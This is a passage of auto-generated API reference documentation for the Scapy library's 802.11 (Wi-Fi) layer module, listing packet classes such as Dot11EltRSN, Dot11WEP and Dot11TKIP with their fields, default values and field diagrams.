	CSI_max_n_Rows_Beamformer_Supported

	BitField  (2 bits)

	0



	Compressed_Steering_n_Beamformer_Antennas_Supported

	BitField  (2 bits)

	0



	Noncompressed_Steering_n_Beamformer_Antennas_Supported

	BitField  (2 bits)

	0



	CSI_n_Beamformer_Antennas_Supported

	BitField  (2 bits)

	0



	Minimal_Grouping

	BitField  (2 bits)

	0



	Explicit_Compressed_Beamforming_Feedback

	BitField  (2 bits)

	0



	Explicit_Noncompressed_Beamforming_Feedback

	BitField  (2 bits)

	0



	Explicit_Transmit_Beamforming_CSI_Feedback

	BitField  (2 bits)

	0



	Explicit_Compressed_Steering

	BitField  (1 bit)

	0



	Explicit_Noncompressed_Steering

	BitField  (1 bit)

	0



	Explicit_CSI_Transmit_Beamforming

	BitField  (1 bit)

	0



	Calibration

	BitField  (2 bits)

	0



	Implicit_Trasmit_Beamforming

	BitField  (1 bit)

	0



	Transmit_NDP

	BitField  (1 bit)

	0



	Receive_NDP

	BitField  (1 bit)

	0



	Transmit_Staggered_Sounding

	BitField  (1 bit)

	0



	Receive_Staggered_Sounding

	BitField  (1 bit)

	0



	Implicit_Transmit_Beamforming_Receiving

	BitField  (1 bit)

	0



	ASEL

	FlagsField

	<Flag 0 ()>











	
match_subclass = True

	








	
class scapy.layers.dot11.Dot11EltMicrosoftWPA(_pkt, /, *, ID=221, len=None, oui=20722, type=1, version=1, group_cipher_suite=<RSNCipherSuite  |>, nb_pairwise_cipher_suites=None, pairwise_cipher_suites=[<RSNCipherSuite  |>], nb_akm_suites=None, akm_suites=[<AKMSuite  |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1437-L1446]

	Bases: Dot11EltVendorSpecific


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       ID      |      LEN      |              OUI              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |      TYPE     |    VERSION    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |       GROUP CIPHER SUITE      |NB PAIRWISE CIP|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |     PAIRWISE CIPHER SUITES    | NB AKM SUITES |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           AKM SUITES          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. Dot11EltMicrosoftWPA                     


Dot11EltMicrosoftWPA fields






	ID

	ByteEnumField

	221



	len

	ByteField

	None



	oui

	OUIField

	20722



	type

	XByteField

	1



	version

	LEShortField

	1



	group_cipher_suite

	PacketField

	<RSNCipherSuite  |>



	nb_pairwise_cipher_suites

	LEFieldLenField

	None



	pairwise_cipher_suites

	PacketListField

	[<RSNCipherSuite  |>]



	nb_akm_suites

	LEFieldLenField

	None



	akm_suites

	PacketListField

	[<AKMSuite  |>]











	
match_subclass = True

	








	
class scapy.layers.dot11.Dot11EltOBSS(_pkt, /, *, ID=74, len=14, Passive_Dwell=0, Active_Dwell=0, Scan_Interval=0, Passive_Total_Per_Channel=0, Active_Total_Per_Channel=0, Delay=0, Activity_Threshold=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1464-L1476]

	Bases: Dot11Elt


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       ID      |      LEN      |         PASSIVE DWELL         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          ACTIVE DWELL         |         SCAN INTERVAL         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   PASSIVE TOTAL PER CHANNEL   |    ACTIVE TOTAL PER CHANNEL   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             DELAY             |       ACTIVITY THRESHOLD      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. Dot11EltOBSS                         


Dot11EltOBSS fields






	ID

	ByteEnumField

	74



	len

	ByteField

	14



	Passive_Dwell

	LEShortField

	0



	Active_Dwell

	LEShortField

	0



	Scan_Interval

	LEShortField

	0



	Passive_Total_Per_Channel

	LEShortField

	0



	Active_Total_Per_Channel

	LEShortField

	0



	Delay

	LEShortField

	0



	Activity_Threshold

	LEShortField

	0















	
class scapy.layers.dot11.Dot11EltRSN(_pkt, /, *, ID=48, len=None, version=1, group_cipher_suite=<RSNCipherSuite  |>, nb_pairwise_cipher_suites=None, pairwise_cipher_suites=[<RSNCipherSuite  |>], nb_akm_suites=None, akm_suites=[<AKMSuite  |>], mfp_capable=1, mfp_required=1, gtksa_replay_counter=0, ptksa_replay_counter=0, no_pairwise=0, pre_auth=0, reserved=0, ocvc=0, extended_key_id=0, pbac=0, spp_a_msdu_required=0, spp_a_msdu_capable=0, peer_key_enabled=0, joint_multiband_rsna=0, pmkids=<PMKIDListPacket  |>, group_management_cipher_suite=<RSNCipherSuite  cipher=BIP-CMAC-128 |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1178-L1252]

	Bases: Dot11Elt


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       ID      |      LEN      |            VERSION            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       GROUP CIPHER SUITE      |   NB PAIRWISE CIPHER SUITES   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     PAIRWISE CIPHER SUITES    |         NB AKM SUITES         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           AKM SUITES          |M|M|GTK|PTK|N|P|R|O|E|P|S|S|P|J|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             PMKIDS            | GROUP MANAGEMENT CIPHER SUITE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. Dot11EltRSN                         


Dot11EltRSN fields






	ID

	ByteEnumField

	48



	len

	ByteField

	None



	version

	LEShortField

	1



	group_cipher_suite

	PacketField

	<RSNCipherSuite  |>



	nb_pairwise_cipher_suites

	LEFieldLenField

	None



	pairwise_cipher_suites

	PacketListField

	[<RSNCipherSuite  |>]



	nb_akm_suites

	LEFieldLenField

	None



	akm_suites

	PacketListField

	[<AKMSuite  |>]



	mfp_capable

	BitField  (1 bit)

	1



	mfp_required

	BitField  (1 bit)

	1



	gtksa_replay_counter

	BitField  (2 bits)

	0



	ptksa_replay_counter

	BitField  (2 bits)

	0



	no_pairwise

	BitField  (1 bit)

	0



	pre_auth

	BitField  (1 bit)

	0



	reserved

	BitField  (1 bit)

	0



	ocvc

	BitField  (1 bit)

	0



	extended_key_id

	BitField  (1 bit)

	0



	pbac

	BitField  (1 bit)

	0



	spp_a_msdu_required

	BitField  (1 bit)

	0



	spp_a_msdu_capable

	BitField  (1 bit)

	0



	peer_key_enabled

	BitField  (1 bit)

	0



	joint_multiband_rsna

	BitField  (1 bit)

	0



	pmkids

	PacketField (Cond)

	<PMKIDListPacket  |>



	group_management_cipher_suite

	PacketField (Cond)

	<RSNCipherSuite  cipher=BIP-CMAC-128 |>











	
match_subclass = True

	








	
class scapy.layers.dot11.Dot11EltRates(_pkt, /, *, ID=1, len=None, rates=[130])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1307-L1319]

	Bases: Dot11Elt


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       ID      |      LEN      |             RATES             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. Dot11EltRates                        


Dot11EltRates fields






	ID

	ByteEnumField

	1



	len

	ByteField

	None



	rates

	FieldListField

	[130]











	
match_subclass = True

	








	
class scapy.layers.dot11.Dot11EltVHTOperation(_pkt, /, *, ID=192, len=5, VHT_Operation_Info=<Dot11VHTOperationInfo  |>, mcs_set=[0])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1493-L1509]

	Bases: Dot11Elt


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       ID      |      LEN      |       VHT OPERATION INFO      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            MCS SET            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. Dot11EltVHTOperation                     


Dot11EltVHTOperation fields






	ID

	ByteEnumField

	192



	len

	ByteField

	5



	VHT_Operation_Info

	PacketField

	<Dot11VHTOperationInfo  |>



	mcs_set

	FieldListField

	[0]















	
class scapy.layers.dot11.Dot11EltVendorSpecific(_pkt, /, *, ID=221, len=None, oui=0, info=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1406-L1434]

	Bases: Dot11Elt


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1416-L1434]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       ID      |      LEN      |              OUI              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              INFO             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. Dot11EltVendorSpecific                    


Dot11EltVendorSpecific fields






	ID

	ByteEnumField

	221



	len

	ByteField

	None



	oui

	OUIField

	0



	info

	StrLenField

	b''











	
match_subclass = True

	








	
class scapy.layers.dot11.Dot11Encrypted(_pkt, /, *, data=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1838-L1859]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1842-L1859]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. Dot11Encrypted                        


Dot11Encrypted fields






	data

	StrField

	None















	
class scapy.layers.dot11.Dot11FCS(_pkt, /, *, subtype=0, type=0, proto=0, cfe=0, FCfield=None, ID=0, addr1='00:00:00:00:00:00', addr2='00:00:00:00:00:00', addr3='00:00:00:00:00:00', SC=0, addr4='00:00:00:00:00:00', fcs=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L807-L819]

	Bases: Dot11


	
aliastypes

	




	
compute_fcs(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L812-L813]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SUBTYPE|TYP|PRO|  CFE  |    FCFIELD    |           ID          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       |                         ADDR1                         |
+-+-+-+-+                               +-+-+-+-+-+-+-+-+-+-+-+-+
|                                       |         ADDR2         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                       +
|                                                               |
+       +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       |                         ADDR3                         |
+-+-+-+-+                               +-+-+-+-+-+-+-+-+-+-+-+-+
|                                       |           SC          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       |                         ADDR4                         |
+-+-+-+-+                               +-+-+-+-+-+-+-+-+-+-+-+-+
|                                       |          FCS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. Dot11FCS                           


Dot11FCS fields






	subtype

	BitMultiEnumField

	0



	type

	BitEnumField

	0



	proto

	BitField  (2 bits)

	0



	cfe

	BitEnumField (Cond)

	0



	FCfield

	MultipleTypeField (FlagsField, FlagsField)

	<Flag 0 ()>



	ID

	ShortField

	0



	addr1

	_Dot11MacField

	'00:00:00:00:00:00'



	addr2

	_Dot11MacField (Cond)

	'00:00:00:00:00:00'



	addr3

	_Dot11MacField (Cond)

	'00:00:00:00:00:00'



	SC

	LEShortField (Cond)

	0



	addr4

	_Dot11MacField (Cond)

	'00:00:00:00:00:00'



	fcs

	FCSField

	None











	
match_subclass = True

	




	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L815-L819]

	








	
class scapy.layers.dot11.Dot11PacketList(res=None, name='Dot11List', stats=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L2092-L2106]

	Bases: PacketList


	
toEthernet()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L2099-L2106]

	








	
class scapy.layers.dot11.Dot11ProbeReq(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1558-L1559]

	Bases: _Dot11EltUtils


	
aliastypes

	




	
payload_guess

	Possible sublayers:
Dot11Elt










	
class scapy.layers.dot11.Dot11ProbeResp(_pkt, /, *, timestamp=0, beacon_interval=100, cap=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1562-L1566]

	Bases: _Dot11EltUtils


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIMESTAMP                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        BEACON INTERVAL        |              CAP              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. Dot11ProbeResp                        


Dot11ProbeResp fields






	timestamp

	LELongField

	0



	beacon_interval

	LEShortField

	100



	cap

	FlagsField

	<Flag 0 ()>











	
payload_guess

	Possible sublayers:
Dot11Elt










	
class scapy.layers.dot11.Dot11QoS(_pkt, /, *, A_MSDU_Present=0, Ack_Policy=0, EOSP=0, TID=0, TXOP=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L822-L834]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|A|ACK|E|  TID  |      TXOP     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. Dot11QoS                           


Dot11QoS fields






	A_MSDU_Present

	BitField  (1 bit)

	0



	Ack_Policy

	BitField  (2 bits)

	0



	EOSP

	BitField  (1 bit)

	0



	TID

	BitField  (4 bits)

	0



	TXOP

	ByteField

	0











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L830-L834]

	




	
payload_guess

	Possible sublayers:
LLC










	
class scapy.layers.dot11.Dot11ReassoReq(_pkt, /, *, cap=<Flag 0 ()>, listen_interval=200, current_AP='00:00:00:00:00:00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1547-L1551]

	Bases: _Dot11EltUtils


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              CAP              |        LISTEN INTERVAL        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           CURRENT AP                          |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. Dot11ReassoReq                        


Dot11ReassoReq fields






	cap

	FlagsField

	<Flag 0 ()>



	listen_interval

	LEShortField

	200



	current_AP

	MACField

	'00:00:00:00:00:00'











	
payload_guess

	Possible sublayers:
Dot11Elt










	
class scapy.layers.dot11.Dot11ReassoResp(_pkt, /, *, cap=<Flag 0 ()>, status=0, AID=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1554-L1555]

	Bases: Dot11AssoResp


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              CAP              |             STATUS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              AID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. Dot11ReassoResp                       


Dot11ReassoResp fields






	cap

	FlagsField

	<Flag 0 ()>



	status

	LEShortField

	0



	AID

	LEShortField

	0











	
payload_guess

	Possible sublayers:
Dot11Elt










	
class scapy.layers.dot11.Dot11SpectrumManagement(_pkt, /, *, action=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1810-L1820]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     ACTION    |
+-+-+-+-+-+-+-+-+

                   Fig. Dot11SpectrumManagement                   


Dot11SpectrumManagement fields






	action

	ByteEnumField

	0











	
payload_guess

	Possible sublayers:
Dot11CSA










	
class scapy.layers.dot11.Dot11TKIP(_pkt, /, *, TSC1=0, WEPSeed=0, TSC0=0, key_id=0, ext_iv=0, res=0, TSC2=0, TSC3=0, TSC4=0, TSC5=0, data=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1920-L1937]

	Bases: Dot11Encrypted


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TSC1     |    WEPSEED    |      TSC0     |KEY|E|   RES   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TSC2     |      TSC3     |      TSC4     |      TSC5     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. Dot11TKIP                          


Dot11TKIP fields






	TSC1

	ByteField

	0



	WEPSeed

	ByteField

	0



	TSC0

	ByteField

	0



	key_id

	BitField  (2 bits)

	0



	ext_iv

	BitField  (1 bit)

	0



	res

	BitField  (5 bits)

	0



	TSC2

	ByteField (Cond)

	0



	TSC3

	ByteField (Cond)

	0



	TSC4

	ByteField (Cond)

	0



	TSC5

	ByteField (Cond)

	0



	data

	StrField

	None











	
payload_guess

	Possible sublayers:
Raw










	
class scapy.layers.dot11.Dot11VHTOperationInfo(_pkt, /, *, channel_width=0, channel_center0=36, channel_center1=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1481-L1490]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1489-L1490]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| CHANNEL WIDTH |CHANNEL CENTER0|CHANNEL CENTER1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. Dot11VHTOperationInfo                    


Dot11VHTOperationInfo fields






	channel_width

	ByteField

	0



	channel_center0

	ByteField

	36



	channel_center1

	ByteField

	0















	
class scapy.layers.dot11.Dot11WEP(_pkt, /, *, iv=b'\x00\x00\x00', keyid=0, wepdata=None, icv=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1864-L1913]

	Bases: Dot11Encrypted


	
aliastypes

	




	
build_payload()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1885-L1888]

	




	
decrypt(key=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1871-L1880]

	




	
encrypt(**kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/config.py#L1165-L1170]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       IV                      |     KEYID     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            WEPDATA            |              ICV              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. Dot11WEP                           


Dot11WEP fields






	iv

	StrFixedLenField

	b'\x00\x00\x00'



	keyid

	ByteField

	0



	wepdata

	StrField

	None



	icv

	IntField

	None











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1910-L1913]

	




	
post_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1882-L1883]

	








	
class scapy.layers.dot11.Dot11WNM(_pkt, /, *, action=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1630-L1664]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     ACTION    |
+-+-+-+-+-+-+-+-+

                          Fig. Dot11WNM                           


Dot11WNM fields






	action

	ByteEnumField

	0











	
payload_guess

	Possible sublayers:
Dot11BSSTMRequest, Dot11BSSTMResponse










	
class scapy.layers.dot11.NeighborReport(_pkt, /, *, type=0, len=13, BSSID='00:00:00:00:00:00', AP_reach=0, security=0, key_scope=0, capabilities=0, mobility=0, HT=0, VHT=0, FTM=0, reserved=0, op_class=0, channel=0, phy_type=0, subelems=[<SubelemTLV  |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1695-L1724]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             BSSID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|AP |S|K|CAPABILITIE|M|H|V|F|              RESERVED             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    OP CLASS   |    CHANNEL    |    PHY TYPE   |    SUBELEMS   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. NeighborReport                        


NeighborReport fields






	type

	ByteField

	0



	len

	ByteField

	13



	BSSID

	MACField

	'00:00:00:00:00:00'



	AP_reach

	BitField  (2 bits)

	0



	security

	BitField  (1 bit)

	0



	key_scope

	BitField  (1 bit)

	0



	capabilities

	BitField  (6 bits)

	0



	mobility

	BitField  (1 bit)

	0



	HT

	BitField  (1 bit)

	0



	VHT

	BitField  (1 bit)

	0



	FTM

	BitField  (1 bit)

	0



	reserved

	BitField  (18 bits)

	0



	op_class

	ByteField

	0



	channel

	ByteField

	0



	phy_type

	ByteField

	0



	subelems

	PacketListField (Cond)

	[<SubelemTLV  |>]















	
class scapy.layers.dot11.PMKIDListPacket(_pkt, /, *, nb_pmkids=None, pmkid_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1160-L1173]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1172-L1173]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           NB PMKIDS           |           PMKID LIST          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PMKIDListPacket                       


PMKIDListPacket fields






	nb_pmkids

	LEFieldLenField

	None



	pmkid_list

	FieldListField

	[]















	
